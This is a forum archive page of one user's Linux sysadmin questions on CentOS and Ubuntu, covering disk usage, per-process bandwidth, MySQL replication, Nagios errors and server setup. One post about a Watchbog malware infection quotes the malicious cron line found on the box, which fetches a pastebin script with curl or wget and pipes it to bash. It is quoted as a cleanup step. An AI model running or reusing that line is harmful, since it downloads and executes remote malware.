DevHeads.net

Postings by Kaushal Shriyan

Does devtmps and tmpfs use underlying hard disk storage or Physical Memory (RAM)

Hi,

I am running the below command on CentOS Linux release 7.6.1810 (Core)

# df -hT --total
Filesystem Type Size Used Avail Use% Mounted on
/dev/xvda1 xfs 150G 8.0G 143G 6% /
devtmpfs devtmpfs 7.8G 0 7.8G 0% /dev
tmpfs tmpfs 7.8G 0 7.8G 0% /dev/shm
tmpfs tmpfs 7.8G 817M 7.0G 11% /run
tmpfs tmpfs 7.8G 0 7.8G 0% /sys/fs/cgroup
tmpfs tmpfs 1.6G 0 1.6G 0% /run/user/995
tmpfs tmpfs 1.6G 0 1.6G 0% /run/user/1000
total - 185G 8.8G 176G 5% -
#

Do

Measure network bandwidth per process

Hi,

Is there a way to measure network bandwidth per process in CentOS Linux
release 7.6.1810 (Core) using any utility? I was reading about nethogs but
it does not have the option to run it in daemon mode so that we can take a
look at historical data to figure out the process which was consuming high
network bandwidth instead it is a good tool for Live monitoring.

Please suggest. Thanks in Advance.

Best Regards,

Kaushal

Resource utilisation of processes on linux server.

Hi,

I have around 6 processes running on CentOS Linux release 7.6.1810 (Core).
Is there a way to find out which process is taking resources like memory,
CPU, I/O and network.

Process 1 : How much memory, CPU, I/O and network is currently consuming on
linux server
Process 2 : How much memory, CPU, I/O and network is currently consuming on
linux server
Process 3 : How much memory, CPU, I/O and network is currently consuming on
linux server and so on and so forth.

Thanks in Advance and i look forward to hearing from you.

Best Regards,

Kaushal

Upgrade CentOS 7.4 to 7.5 and don't want to upgrade it to 7.6

Hi,

Is there a way to upgrade from Centos Linux release 7.4.1708 (Core) to
Centos Linux release 7.5.1804 (Core) and not up to CentOS Linux release
7.6.1810 (Core) as the product does not support the latest CentOS Linux
release 7.6.1810 (Core) version as of now. It is still a work in progress.
Any help will be highly appreciable. I look forward to hearing from you.

Thanks in Advance.

Best Regards,

Kaushal

Measure system resources consumptions by ClamAV File scanner

Hi,

I am running ClamAV process which is invoked by Cron scheduler around 3:00
AM ( Midnight) on remote server running CentOS Linux release 7.6.1810
(Core). Is there a way to measure what was the system resources
consumptions like CPU, Network, I/O, Memory and Computing load is
being used and is it possible to find out how much time it took to complete
the scan?

Any help will be highly appreciated. Thanks in Advance.

Best Regards,

Kaushal

CentOS 7.5 Linux box got infected with Watchbog malware

Hi,

Is there a way to find out how the CentOS 7.5 Linux box got infected with
malware?
Currently i am referring to
<a href="http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malwareransomware.html" title="http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malwareransomware.html">http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malwar...</a>
to carry out the below steps and is done manually.

1)rm -fr /tmp/*timesyncc.service*
2)crontab -e -u apigee
delete the cron entry
*/1 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget -q -O-
<a href="https://pastebin.com/raw/aGTSGJJp" title="https://pastebin.com/raw/aGTSGJJp">https://pastebin.com/raw/aGTSGJJp</a>)|bash > /dev/null 2>&1
3)ps aux | grep watchbog
kill -9 pidof watchbog

Any suggestions or recommendations to find out how CentOS 7.5 Linux box got
infected wi

ClamAV installation is OUTDATED! as reported by freshclam utility on CentOS Linux release 7.6.1810 (Core)

Hi,

I am running CentOS Linux release 7.6.1810 (Core) with ClamAV installed.
When i am running freshclam i am seeing a Warning message and the details
are described below:-

# freshclam
ClamAV update process started at Thu Dec 13 11:49:18 2018
WARNING: Your ClamAV installation is OUTDATED!
WARNING: Local version: 0.100.2 Recommended version: 0.101.0
DON'T PANIC!

multiple domain names mapped to a single IP

Hi,

Is there any pros and cons to multiple domain names mapped to a single IP
work in MySQL client server setup like in case of httpd webserver there is
a concept of VHost having multiple domain names mapped to a single IP?

For example :-

int-mysqldbserver1.example.com :- 192.168.0.11
int-mysqldbserver2.example.com :- 192.168.0.11

Will there be a issue when i point full qualified domain name in the
application which uses mysql client program since both domain names are
pointing to the same IP?

Any help will be highly appreciable.

Regards,

Kaushal

Thruk reports /var/tmp/live.sock: No such file or directory inspite of the file being present

Hi,

I am running thruk (version is thruk-2.12-1.x86_64) which is a web
interface for nagios 4.2.3 and running httpd-2.4.6-40.el7.centos.4.x86_64
on CentOS Linux release 7.2.1511 (Core)

While accessing thruk web interface <a href="http://thruk.mydomain.com/thruk/cgi-bin/" title="http://thruk.mydomain.com/thruk/cgi-bin/">http://thruk.mydomain.com/thruk/cgi-bin/</a>
status.cgi?host=all&_=1480078344275

I am seeing this issue in *thruk.log prod: ERROR: failed to open socket
/var/tmp/live.sock: No such file or directory*

As you can see the file /var/tmp/live.sock is present as per the below ls
-l command output, I am not sure about the above error of No such file or
directory
#ls -l /var/tmp/live

Thruk reports /var/tmp/live.sock: No such file or directory inspite of the file being present

Hi,

I am running thruk (version is thruk-2.12-1.x86_64) which is a web
interface for nagios 4.2.3 and running httpd-2.4.6-40.el7.centos.4.x86_64
on CentOS Linux release 7.2.1511 (Core)

While accessing thruk web interface
<a href="http://thruk.mydomain.com/thruk/cgi-bin/status.cgi?host=all&amp;_=1480078344275" title="http://thruk.mydomain.com/thruk/cgi-bin/status.cgi?host=all&amp;_=1480078344275">http://thruk.mydomain.com/thruk/cgi-bin/status.cgi?host=all&amp;_=1480078344275</a>

I am seeing this issue in *thruk.log prod: ERROR: failed to open socket
/var/tmp/live.sock: No such file or directory*

#ls -l /var/tmp/live.sock
srw-rw---- 1 nagios nagios 0 Nov 25 18:12 /var/tmp/live.sock

I can share the /etc/httpd/conf.d/thruk.conf

Any help will be highly appreciable.

Regards,

Loaded: not-found (Reason: No such file or directory)

Hi,

I am seeing the below issue.

[user~]# systemctl list-unit-files | grep nrpe
[user~]# service nrpe status
Redirecting to /bin/systemctl status nrpe.service
● nrpe.service
* Loaded: not-found (Reason: No such file or directory)*
Active: inactive (dead)
[user~]# rpm -qa | grep nrpe
nrpe-3.0-1.x86_64
nrpe-plugin-3.0-1.x86_64
[user~]#cat /etc/redhat-release
*CentOS Linux release 7.2.1511 (Core)*
[user~]#

Any help will be highly appreciable and please let me know if anyone needs
any additional information.

Regards,

Kaushal

Master Master Mysql replication

Hi,

We have two AWS region EU Ireland and Singapore which is currently being
zeroed in for Redundancy. Can someone please provide me some insights about
Replication as described in
<a href="http://dev.mysql.com/doc/refman/5.7/en/replication.html" title="http://dev.mysql.com/doc/refman/5.7/en/replication.html">http://dev.mysql.com/doc/refman/5.7/en/replication.html</a>. I am not sure
which one i need to choose for my setup and any pros and cons associated
with this setup. Basically we are planning to have Master Master MySQL DB
setup. Any help will be really appreciable.

Regards,

Kaushal

top command

Hi,

I am running CentOS 6.4 on a remote server. when i run the below command,
it prints out the headers too. is there a way to remove headers using the
below command line

*top -b -p 22657 > topcpu.txt*

Regards,

Kaushal

CentOS 6.4 Installation on Dell R720

Hi,

I am planning to install CentOS 6.4 on Dell R720 which has hardware raid
card and 6 hard disk slots available.

I have planned with the below set up :-

*2 Hard disks configured in RAID 1 for installing OS
*
*4 Hard disks configured in RAID 10 for data drive.*

Please suggest and recommend if the above approach is correct and let me
know if i am missing anything which is crucial to set up a production
server.

Historical Data related to CPU,IO and Memory

Hi,

Are there any utilities or tools to look at historical data of Memory, CPU
Utilization or IO activity on CentOS 6.4 or 5.9 Version? For example the
how much the memory was consumed for the period of last six months.

Regards,

Kaushal

dmesg and syslog errors in CentOS 6.4 on Dell R720 server

Hi,

I have updated the firmware for perc raid controller card, network card,
IDRAC firmware and the BIOS version on Dell R720 server.

MySQL Master and Slave Replication

Hi,

I have a question regarding MySQL replication master slave setup. One
question is of concern "If data is corrupted, lost or deleted in the master
that will be synced to the slave. Restoring the slave to the master does
not get the data back."? Please suggest.

Regards,

Kaushal

libc.so.6: version `GLIBC_2.11' not found (required by sh) on Ubuntu 13.04 raring ringtail

Hi,

We have installed McAfee Antivirus on our Ubuntu Desktop 13.04 and when i
tried using apt-get install update and apt-get install dist-upgrade.

unity pidgin lens on Ubuntu Raring ringtail 13.04

Hi,

I have installed Unity pidgin lens on Ubuntu Raring ringtail 13.04. How do
i use it using dash? Specifically when i type Username i get lot of search
auto fill and it gets cluttered. Any elegant and efficient way to search
Pidgin Buddy Name?

Thanks and Regards,

Kaushal

OS upgrade from CentOS 6.x version.

Hi,

Currently I am running CentOS 6.4 on all my production environment. Lets
say after six months there is CentOS 6.5. Do i need to update it to the
latest version and is it recommended to use yum update command to update to
6.5 on a production environment without testing. Please help me understand.

Regards,

Kaushal

Enable HT on CentOS 6.4 (Dell R720 64 Bit server)

Hi,

I have HT Feature available on my Dell Server R720. Please help me
understand if HT is enabled on the server, will there be a performance
impact. What are the deciding factors to enable HT on the servers.

Regards

Kaushal

Pidgin 2.10.7 on Raring Ringtail

Hi

Is there a way to steal the focus in raring ringtail whenever someone
contacts me in Pidgin IM Conversation Window. I do a ALT-TAB to look at the
conversation window if someone has pinged me during which i miss most
important conversation. Any suggestions please?
Screenshot -> <a href="http://i.imgur.com/AdX5ila.png" title="http://i.imgur.com/AdX5ila.png">http://i.imgur.com/AdX5ila.png</a>

Thanks and Regards,

Kaushal

Measure battery power on Ubuntu 13.04

Hi

I am running Ubuntu 13.04 Desktop edition on Dell Vostro 3450. is there a
way to measure the total battery power available if i am not connected to a
power source and also help me understand how do i make use of my battery
power in an optimized way.

Regards,

Kaushal

Ring Switcher plugin missing in Windows Management in Ubuntu 13.04 Desktop

Hi,

Ring Switcher plugin missing in Windows Management in Ubuntu 13.04 Unity
Desktop Shell. Any clue?

Regards,

Kaushal

Ubuntu 12.04.2 64 bit server edition OS on Dell Optiplex 390 doesn't restart/reboot

Hi

I have hit a bug
<a href="https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1053928" title="https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1053928">https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1053928</a>. I am running
ubuntu 12.04.2 64 bit server edition OS on Dell Optiplex 390 box. The box
does not restart when i issue a command /sbin/shutdown -r now and just
freezes, to overcome this problem i need to power off and then power on
button located on the front panel. Any suggestions please?

Regards,

Kaushal

CentOS 6.x

Hi

Please help me understand to choose between the two versions CentOS 6.3 and
CentOS 6.4. I am not sure to choose 6.4 since it is being released
recently(
<a href="http://lists.centos.org/pipermail/centos-announce/2013-March/019276.html" title="http://lists.centos.org/pipermail/centos-announce/2013-March/019276.html">http://lists.centos.org/pipermail/centos-announce/2013-March/019276.html</a>)
and it may be risky to push it in Live environment.

Regards,

Kaushal

CentOS 6.4 on Dell R320 64 Bit.

Hi,

I have installed CentOS 6.4 on Dell Server R320 64bit with UEFI BIOS. Do i
need both /boot and /boot/efi partitions. Please help me understand the
difference between these.

Regards,

Kaushal

CentOS 6.4 Release Date.

Hi,

Any date planned to release CentOS 6.4 as GA release?

Regards,

Kaushal

IUS repositories

Hi,

what does the word "Inline" mean in Inline with Upstream Stable as per
<a href="http://iuscommunity.org/pages/FAQs.html#what-does-ius-stand-for" title="http://iuscommunity.org/pages/FAQs.html#what-does-ius-stand-for">http://iuscommunity.org/pages/FAQs.html#what-does-ius-stand-for</a>?

Regards,

Kaushal

Project Planning Software

Hi,

We are carrying out PCI-DSS project for our organization and i am presently
using ubuntu 11.10 desktop. Are there open source project planning software
available in Ubuntu?
Please suggest.

Regards,

Kaushal